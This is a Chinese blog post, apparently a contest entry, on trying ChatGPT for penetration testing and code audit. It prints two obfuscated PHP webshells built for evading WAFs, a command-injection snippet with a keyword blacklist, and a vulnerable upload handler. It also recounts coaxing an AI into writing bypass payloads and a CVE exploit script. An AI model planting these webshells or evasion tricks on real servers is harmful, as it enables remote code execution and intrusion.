本文正在参加 ✍ 技能视角深入 ChatGPT 征文活动
前言
ChatGPT是美国人工智能研讨实验室OpenAI新推出的一种人工智能技能驱动的自然语言处理东西,最近ChatGPT又出圈了,之前现已在技能社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI发生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,所以我想知道它是否也能在网络安全范畴完成一些它的价值呢,本文就这个论题来讨论一下它在网络安全里边一些运用和实践。
自身定位
在实践之前,我想向ChatGPT问一下它自己关于这个问题的答复是什么,即让它自己对信息安全范畴起的效果进行一些剖析,成果仍是挺让人惊讶的:
它答复的非常全面,里边有一些内容连我自己都没有想到,所以我对讨论它在信息安全范畴的效果的兴趣进一步加深,下面我便对它进行了一些测验。
结构歹意代码
这儿就先以最简单的一句话木马为例,我向它发问是否能结构一个对网站发生威胁的歹意句子,AI很轻松的便答复出来了:
看来简单的歹意句子仍是对它来说仍是很轻松的,所以我持续向它发问一些进阶的问题,因为若咱们要直接传入木马,大概率会被阻拦,但能够测验一些绕过方法来绕过设备的检测,举个例子,我用\x65编码字符串e,然后运用array类型进行混杂:
<?php array_map("ass\x65rt",(array)$_REQUEST['xino']);?> //1.php
通过上面的操作,一些危险函数就有或许绕过检测,所以我测验让它用字符编码的方法来结构歹意木马:
AI完整的写完了,依据其代码逻辑实际上也是能够利用的,到这我持续加深难度:
或许是我测验次数比较少的原因,并没有到达我抱负的条件,或许再多添加一些限制条件会到达更好的效果,但是不难看出跟着AI的逐渐进化,今后咱们对一些WAF或杀毒软件进行测验时,能够结合AI来对产品代码进行剖析,让AI结构出能够绕过的木马。
在测验时我还测验让AI剖析带有危险函数的代码,对下面这段歹意代码:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
AI给出了比较正确的剖析,它指出了各个变量存储的值和一些危险函数,并将其结合的句子进行了危险性的断定,发现了潜在的威胁。
这又给咱们提供了一个思路,通过AI结合防火墙来到达动态剖析歹意恳求的主意,进而加强咱们设备的安全性。
缝隙源码剖析
测验完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测验又称结构测验、透明盒测验、逻辑驱动测验或依据代码的测验。通过剖析代码找到里边的缝隙点来保护网络安全,假如AI和它磕碰会发生什么样的火花呢?下面看一个例子:
我用一个简单的代码让其剖析一下:
剖析代码:<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
成果仍是很便利了解的,给出了这段代码的效果以及过滤的一切字符,咱们能够依据这些提示来进行浸透或许防护。然后减少了一些排查时刻。
之后我让其剖析一个简单的有文件上传缝隙的代码,这是一个比较实际的问题,因为呈现文件上传缝隙的原因是各种各样的,比如之前文章提到的白名单绕过就是因为存在可控参数目录造成的,下面是含有缝隙的代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传犯错!';
}
} else {
$msg = '文件类型不正确,请从头上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手艺创立!';
}
}
通过了十几次的改进,给了我如下还算合理的回复:
尽管答复没啥缺点但这是通过十几次更新我筛选出来的,个人认为AI现在还达不到剖析一些很多代码来给出一些合理的缝隙进犯思路,当然也或许是我发问的方法有问题,有时会呈现答非所问的状况,不过我觉得跟着技能更新这些小问题应该能够处理。
信息搜集
在进行网站浸透时,基本的浸透流程能够参考下面我总结的图:
不管是网站信息或是网站所用服务的信息都是非常重要的,这会调查一个浸透人员的信息搜集能力,搜集到的信息越多对咱们的浸透帮助越大,所以我想试试AI能否协助咱们进行这个操作。
我试着用AI查询某网站的旁站,很快便列出了许多:
当然这只是最根底的,咱们通过东西也能够进行查询,但AI查找速度仍是远远大于东西的,这无妨是一个咱们进行浸透测验时能够快速进行资产搜集的好途径。提到这咱们无妨进一步思考,作为帮助咱们浸透的东西,若我现已搜集到了网站所用框架以及版本,我想问问它怎么浸透:
这儿AI给出了咱们一个可利用的CVE缝隙,那么我持续向其发问详细利用方法:
就很有意思了,它真的给咱们提供了一个脚本,先不提这个脚本,我觉得在浸透中有个AI能够随时帮助咱们搜集信息和脚本这能大大加快咱们的浸透过程,我期望未来能发展成这样的趋势。让浸透人员少一些不必要的操作然后加大效率。
结语
目前ChatGPT为了避免歹意用户的运用,限制了关于主动结构进犯脚本的一些恳求,这使得其不能展现更多的在信息安全范畴的价值,本文结合我在之前搜集的一些材料,简单剖析了一下ChatGPT在网络安全范畴的一些或许性,其中包含了一些现已完成和期望未来能够完成的一些主意,无论是AI结构代码或许进行全自动白盒剖析,这都会对咱们网络安全范畴发生一些深远的影响,我期望这些主意能够在不远的未来完成。